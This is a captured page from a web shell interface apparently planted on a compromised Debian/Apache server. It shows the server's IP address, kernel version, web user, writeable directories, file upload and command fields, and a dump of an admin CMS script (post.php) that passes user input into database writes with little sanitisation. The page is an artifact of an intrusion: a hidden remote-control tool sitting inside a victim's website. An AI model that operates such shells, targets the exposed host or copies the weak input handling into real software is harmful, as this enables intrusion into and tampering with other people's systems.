403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/moduls/small/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/moduls/small/admin/post.php
<?php
/*
@author suxoza <suxoza@gmail.com>
*/
if(realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])){
    echo "__main__ ".__FILE__;
}else{

    try {
      if(!$_->permission_($select_menu['id'],'edit'))
          throw new Exception("Error Processing Request", 1);  
    }catch (Exception $ex) {
      die($ex->getMessage());
    }
    
    
    $_logo = '';


    $_time = time();
    if($_POST['time']){
        list($day,$month,$year) = explode('/',$_->clier($_POST['time']));
        $_time = mktime(0, 0, 0, $month, $day, $year);
    }

    $slide_1 = (isset($_POST['setting_slide_1']) && $_POST['setting_slide_1'])?1:0;
    $contact_form = (isset($_POST['setting_contact']) && $_POST['setting_contact'])?1:0;
    $help_page = (isset($_POST['help_page']) && $_POST['help_page'])?1:0;
    $information_page = (isset($_POST['information_page']) && $_POST['information_page'])?1:0;
    
    
    $insert = ['logo','attributes','slide_1','contact_form','help_page','information_page','page_date','date_modify'];
    $value = [$_logo,'',$slide_1,$contact_form,$help_page,$information_page,$_time,time()];

    for($i = 0; $i < count($_->language_config); $i++){
           $insert[] = "name_".$_->language_config[$i];
           $insert[] = "body_".$_->language_config[$i];
           $value[] = $_->clier($_POST['name_'.$_->language_config[$i]]);
           //$value[] = $_POST['body_'.$_->language_config[$i]];
           $bd = addslashes($_POST['body_'.$_->language_config[$i]]);
           $value[] = $bd;
    }
    

    //menu_body
    if(count($_POST['categoryes'])){
        $_->delete("menu_body",["body_id",$_POST['ID']]);
        $menu_body = [
            ["menu_id","body_id"],
            []
        ];
        for($i = 0; $i < count($_POST['categoryes']); $i++)
          $menu_body[1][] = [$_POST['categoryes'][$i],$_POST['ID']];
        $_->insert_array("menu_body",$menu_body);
    }    
    //menu_body

    if($_->update("body",[$insert,$value,["id",$_POST['ID']]],0)){
      
        header("Location:".$_SERVER['HTTP_REFERER'].$_COOKIE['location_href_menu']."/changed/");
    }else{
        die("insert error!!!!!");
    }

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit